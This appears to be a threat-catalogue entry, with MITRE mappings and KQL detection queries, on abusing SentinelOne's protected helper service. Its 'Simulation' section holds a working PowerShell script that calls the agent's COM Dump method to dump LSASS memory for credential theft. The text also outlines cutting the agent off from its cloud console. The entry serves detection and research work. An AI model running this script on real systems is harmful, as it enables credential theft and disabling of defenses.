Project-Lost

SentinelOne (EDR / Defense)

Defense Evasion Execution Credential Access

References

• https://www.akamai.com/blog/security-research/bring-your-own-edr-turn-commercial-edr-trojan-horse

SentinelOne is an enterprise Endpoint Detection and Response (EDR) platform designed for autonomous threat detection, prevention, and response. When attackers leverage local administrative access or chain exposed interfaces within the agent, they can abuse its elevated Protected Process Light (PPL) context to execute arbitrary code, dump protected process memory, and silence cloud telemetry.

Bring Your Own EDR (BYO-EDR) & PPL Abuse

Description

The SentinelOne helper service (SentinelHelperService.exe) executes as a Protected Process Light (PsProtectedSignerAntimalware-Light) and exposes an unauthenticated COM interface (SentinelHelper.1).

Adversaries with local administrative privileges can abuse the exposed Dump method to dump the memory of arbitrary processes—including protected processes like LSASS or other antimalware services—without requiring vulnerable kernel drivers (BYOVD). Attackers can further extract COM secrets to achieve code injection into PPL processes, isolate the agent from cloud management via local DNS redirection, or abuse the agent’s built-in self-defense mechanisms to protect malicious binaries from termination.

Simulation

# Interfacing with SentinelHelper COM Object to dump target PPL process (e.g., LSASS)
function Get-HelperComObject {
    $code = @"
    using System;
    using System.Runtime.InteropServices;
    public class ImpTest {
        [DllImport("Ole32.dll")]
        public static extern int CoSetProxyBlanket(
            IntPtr pProxy, uint dwAuthnSvc, uint dwAuthzSvc,
            uint pServerPrincName, uint dwAuthLevel, uint dwImpLevel,
            IntPtr pAuthInfo, uint dwCapabilities
        );
        public static int SetSecurity(object objDCOM) {
            IntPtr dispatchInterface = Marshal.GetIDispatchForObject(objDCOM);
            return CoSetProxyBlanket(dispatchInterface, 0xffffffff, 0xffffffff, 0xffffffff, 0, 3, IntPtr.Zero, 64);
        }
    }
"@
    Add-Type -TypeDefinition $code | Out-Null
    $SentinelHelper = New-Object -com "SentinelHelper.1"
    [ImpTest]::SetSecurity($SentinelHelper) | Out-Null
    return $SentinelHelper
}

# Dump LSASS memory via SentinelHelper (runs under PsProtectedSignerAntimalware-Light)
$targetPid = (Get-Process -Name lsass).Id
$helper = Get-HelperComObject
$helper.dump($targetPid, "C:\Windows\Temp\lsass.dmp", "C:\Windows\Temp\kernel.dmp")

MITRE ATT&CK

T1003 – OS Credential Dumping
T1055 – Process Injection
T1562.001 – Impair Defenses: Disable or Modify Tools

Detections

// Detect anomalous creation of .dmp files in temp/arbitrary directories by SentinelOne helper service
DeviceFileEvents
| where InitiatingProcessFileName in~ ("SentinelHelperService.exe", "SentinelAgent.exe")
| where FileName endswith ".dmp"
| where FolderPath !has @"C:\ProgramData\Sentinel"
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath, FileName

// Detect PowerShell or non-standard binaries instantiating SentinelHelper COM object
DeviceEvents
| where ActionType == "ComObjectCreated" or ActionType == "ComObjectCall"
| where AdditionalFields has "SentinelHelper.1"
| where InitiatingProcessFileName !in~ ("SentinelAgent.exe", "SentinelUI.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

// Detect hosts file modifications targeting SentinelOne cloud management endpoints
DeviceFileEvents
| where FolderPath endswith @"\system32\drivers\etc\hosts"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName